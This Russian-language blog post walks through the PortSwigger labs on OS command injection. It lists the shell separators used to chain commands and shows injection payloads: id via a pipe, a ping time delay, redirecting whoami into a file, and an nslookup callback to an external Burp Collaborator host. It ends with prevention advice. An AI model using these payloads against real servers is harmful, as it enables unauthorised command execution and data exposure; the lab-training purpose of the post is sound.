Найти в Дзене
B0rn2beR00T

Решение PortSwigger (OS Command Injection)

Приветствую! На этот раз детально разберём уязвимость OS Command Injection. Вот перечень лаб PortSwigger, которые решим: OS Command Injection позволяет злоумышленнику выполнять команды операционной системы (OS) на сервере, на котором запущено приложение, и, как правило, полностью компрометировать приложение и его данные. Часто злоумышленник может использовать уязвимость при внедрении команд операционной системы для компрометации других частей инфраструктуры хостинга и использовать доверительные отношения для переноса атаки на другие системы организации. После обнаружения уязвимости, связанной с внедрением команд ОС, полезно выполнить несколько начальных команд для получения информации о системе. Во время тестирования на проникновение мы можем использовать ряд
символов оболочки для выполнения атак с внедрением команд ОС.
Существует ряд символов, которые выполняют функцию разделителей
команд, позволяя объединять команды в цепочки. Следующие символы
работают как в системах на базе Windo
Оглавление

Приветствую! На этот раз детально разберём уязвимость OS Command Injection.

Вот перечень лаб PortSwigger, которые решим:

-2

OS Command Injection позволяет злоумышленнику выполнять команды операционной системы (OS) на сервере, на котором запущено приложение, и, как правило, полностью компрометировать приложение и его данные. Часто злоумышленник может использовать уязвимость при внедрении команд операционной системы для компрометации других частей инфраструктуры хостинга и использовать доверительные отношения для переноса атаки на другие системы организации.

После обнаружения уязвимости, связанной с внедрением команд ОС, полезно выполнить несколько начальных команд для получения информации о системе.

Во время тестирования на проникновение мы можем использовать ряд
символов оболочки для выполнения атак с внедрением команд ОС.
Существует ряд символов, которые выполняют функцию разделителей
команд, позволяя объединять команды в цепочки. Следующие символы
работают как в системах на базе Windows, так и в системах на базе Unix:
• &
• &&
• |
• ||


Следующие символы работают только в системах на базе Unix:
• ;
• Перевод строки (0x0a или \n)


В системах на базе Unix мы также можем использовать следующие символы
для выполнения введенной команды внутри исходной команды:
• `команда`
• $(команда)

Простой кейс

Давайте зайдём на один из товаров и попробуем отправить POST-запрос на проверку есть ли товар в наличии (кнопка Check Stock) и перехватим его в Burp Suit.

-3

При перехвате запроса видим два передаваемых параметр productId и storeId.

При попытке внедрения спец. символов, а именно pipe допишем Unix-команду id и проверим будет ли она выполнена.

-4

Тут дальше всё зависит от вашей сообразиловки. Далее можно попробовать просмотреть системные файлы или раскрыть конфиденциальную информацию в плоть до анализа кода приложения, если у пользователя хватит прав на это.

Слепая OS Command Injection с задержками по времени

Многие случаи внедрения команд ОС являются слепыми уязвимостями. Это означает, что приложение не возвращает выходные данные команды в HTTP-ответ.

В данном кейсе нам нужно заполнить форму обратной связи, где форма Email уязвима.

Важно заметить, что для внедрение команд OS тут сработает "||"

-5

Внедряем в передаваемый параметр email команду ping -c 4 127.0.0.1 (вместо пробела используем "+" для корректной работы).

-6

После того как пройдёт четыре пинга получаем код 200 - уязвимость рабочая.

Слепая OS Command Injection с перенаправлением выходных данных

В следующем кейсе слепая инъекция команды заключается в записи результата в произвольный файл.

Выполнение команды whoami записываем в output.txt.

-7

Читаем файл output.txt:

-8

Слепая OS Command Injection с внеполосным взаимодействием

Collaborator в Burl Suit доступен с версии Burp Suite Pro!

Копируем адрес коллаборатора (Copy Collaborator):

Burp Collaborator — это специальный инструмент в Burp Suite, который помогает ловить скрытые уязвимости, когда сервер отвечает не тебе напрямую, а на внешние ресурсы.
-9

Используем следующую команду в том же параметре email:

|| nslookup <COLLABORATOR> ||

Эта полезная нагрузка использует команду nslookup для выполнения поиска DNS для указанного домена. Злоумышленник может отслеживать, выполняется ли поиск, чтобы убедиться, что команда была успешно введена.

-10

Получаем ответ (Poll now):

-11

Слепая OS Command Injection с с внеполосной фильтрацией данных

Аналогичный кейс, но нас попросят сделать проверку имени текущего пользователя.

-12
-13

И сделаем проверку:

-14

Отлично! Мы решили все кейсы!

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Command%20Injection/README.md - репозиторий Github с payloads

Выводы

Самый эффективный способ предотвратить уязвимости, связанные с внедрением команд ОС, — никогда не вызывать команды ОС из кода прикладного уровня. Почти во всех случаях существуют различные способы реализации требуемой функциональности с использованием более безопасных платформенных API.

Если вам нужно вызвать команды ОС с пользовательским вводом, то необходимо выполнить тщательную проверку ввода. Вот несколько примеров эффективной проверки:

  • Проверка на соответствие белому списку допустимых значений.
  • Проверка на то, что ввод является числом.
  • Проверка на наличие введённого текста только буквенно-цифровых символов, без других синтаксических конструкций или пробелов.

Никогда не пытайтесь очистить вводимые данные, экранируя метасимволы оболочки. На практике это слишком подвержено ошибкам и может быть легко обойдено опытным злоумышленником.